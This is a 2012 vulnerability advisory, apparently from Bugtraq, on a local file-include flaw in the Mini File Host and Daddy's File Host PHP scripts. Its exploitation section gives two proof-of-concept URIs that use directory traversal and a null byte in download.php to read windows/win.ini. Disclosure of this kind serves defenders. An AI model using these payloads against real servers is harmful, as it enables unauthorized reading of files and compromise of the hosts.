GalaxyScripts Mini File Host and DaddyScripts Daddy's File Host Local File Include Vulnerability

Bugtraq ID:	54992
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Aug 10 2012 12:00AM
Updated:	Aug 10 2012 12:00AM
Credit:	L0n3ly-H34rT
Vulnerable:	Galaxyscripts Mini File Host 2.0 Beta Galaxyscripts Mini File Host 1.5 DaddyScripts Daddy's File Host 1.2.4
Not Vulnerable:

GalaxyScripts Mini File Host and DaddyScripts Daddy's File Host Local File Include Vulnerability

GalaxyScripts Mini File Host and DaddyScripts Daddy's File Host are prone to a local file-include vulnerability because they fail to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information or to execute arbitrary local scripts in the context of the web server process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

GalaxyScripts Mini File Host and DaddyScripts Daddy's File Host Local File Include Vulnerability

Attackers can exploit this issue through a browser.

The following example URIs are available:

For GalaxyScripts Mini File Host:

http://www.example.com/MFH/download.php?file=../../../../../../../../../../windows/win.ini%00.jpg

For DaddyScripts Daddy's File Host:

http://www.example.com/dfh/download.php?file=../../../../../../../../../../windows/win.ini%00.jpg

GalaxyScripts Mini File Host and DaddyScripts Daddy's File Host Local File Include Vulnerability

Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

GalaxyScripts Mini File Host and DaddyScripts Daddy's File Host Local File Include Vulnerability

References:

• Daddy's File Host Homepage (DaddyScripts)
  
• Mini File Host Homepage (GalaxyScripts)